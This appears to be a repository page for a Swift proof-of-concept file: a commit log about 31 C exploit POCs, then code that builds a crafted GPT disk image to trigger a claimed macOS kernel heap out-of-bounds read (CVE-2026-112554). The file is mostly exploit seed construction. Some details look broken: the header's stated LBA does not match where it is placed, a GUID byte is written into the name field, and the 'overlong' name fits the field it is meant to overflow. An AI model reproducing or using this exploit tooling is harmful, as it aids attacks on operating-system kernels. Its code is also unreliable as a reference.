- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
116 lines
5.1 KiB
Swift
116 lines
5.1 KiB
Swift
// kext.gpt · IOStorageFamily · CVE-2026-112554
|
|
// GPT partition name scan 72-byte kernel heap out-of-bounds read
|
|
import Foundation
|
|
|
|
// identity localization shim — passes the string through unchanged.
|
|
func tl(_ s: String) -> String { s }
|
|
|
|
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: GPTPayload) ──
|
|
enum GPTPayload {
|
|
static func describe(_ image: Data) -> [String] {
|
|
var lines: [String] = []
|
|
guard image.count >= 1024 else { return [tl("image too short")] }
|
|
let sig = [UInt8](image[512..<520])
|
|
guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else {
|
|
return [tl("no GPT signature")]
|
|
}
|
|
let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) }
|
|
let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) }
|
|
let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) }
|
|
lines.append(tl("GPT header: entry LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" entries · ") + "\(entrySize)" + tl(" B"))
|
|
let base = Int(entryLBA) * 512
|
|
for i in 0..<Int(entryCount) {
|
|
let off = base + i * Int(entrySize)
|
|
guard off + 128 <= image.count else { break }
|
|
var units: [UInt16] = []
|
|
for k in 0..<36 {
|
|
let lo = UInt16(image[off + 56 + k * 2])
|
|
let hi = UInt16(image[off + 56 + k * 2 + 1])
|
|
let unit = lo | (hi << 8)
|
|
if unit == 0 { break }
|
|
units.append(unit)
|
|
}
|
|
let name = String(decoding: units, as: UTF16.self)
|
|
if !name.isEmpty { lines.append(tl(" partition ") + "\(i)" + tl(": ") + "\(name)") }
|
|
}
|
|
return lines
|
|
}
|
|
|
|
static func oversizedName(entryCount: Int = 4) -> Data {
|
|
let sector = 512
|
|
var out = Data()
|
|
|
|
// protective MBR
|
|
var mbr = [UInt8](repeating: 0, count: sector)
|
|
mbr[446 + 4] = 0xEE
|
|
mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF
|
|
mbr[446 + 8] = 0x01
|
|
let totalSectors: UInt32 = 34
|
|
mbr[446 + 12] = UInt8(totalSectors & 0xff)
|
|
mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff)
|
|
mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff)
|
|
mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff)
|
|
mbr[510] = 0x55; mbr[511] = 0xAA
|
|
out.append(contentsOf: mbr)
|
|
|
|
// primary GPT header
|
|
var hdr = [UInt8](repeating: 0, count: sector)
|
|
hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20
|
|
hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54
|
|
hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00
|
|
let headerSize: UInt32 = 92
|
|
hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0
|
|
hdr[24] = 2 // my LBA
|
|
hdr[32] = 33 // alternate LBA
|
|
hdr[40] = 2 // first usable
|
|
hdr[48] = 32 // last usable
|
|
hdr[72] = 2 // entry array LBA
|
|
let entries: UInt32 = UInt32(entryCount)
|
|
hdr[80] = UInt8(entries & 0xff)
|
|
hdr[84] = 128 // entry size
|
|
out.append(contentsOf: hdr)
|
|
|
|
// partition entries
|
|
var array = Data()
|
|
for i in 0..<entryCount {
|
|
var entry = [UInt8](repeating: 0, count: 128)
|
|
entry[0] = 0xA2; entry[1] = 0xA0; entry[2] = 0xD0; entry[3] = 0xEB
|
|
entry[56] = UInt8(i + 1) // unique partition GUID byte
|
|
// name field at +56..+128 is 36 UTF-16 code units; declare a long run
|
|
let name = Array("CINDER27-OVERLONG-PARTITION-NAME".utf16)
|
|
for (k, unit) in name.enumerated() where 56 + k * 2 + 1 < 128 {
|
|
entry[56 + k * 2] = UInt8(unit & 0xff)
|
|
entry[56 + k * 2 + 1] = UInt8((unit >> 8) & 0xff)
|
|
}
|
|
array.append(contentsOf: entry)
|
|
}
|
|
out.append(array)
|
|
while out.count % sector != 0 { out.append(0) }
|
|
return out
|
|
}
|
|
|
|
}
|
|
|
|
|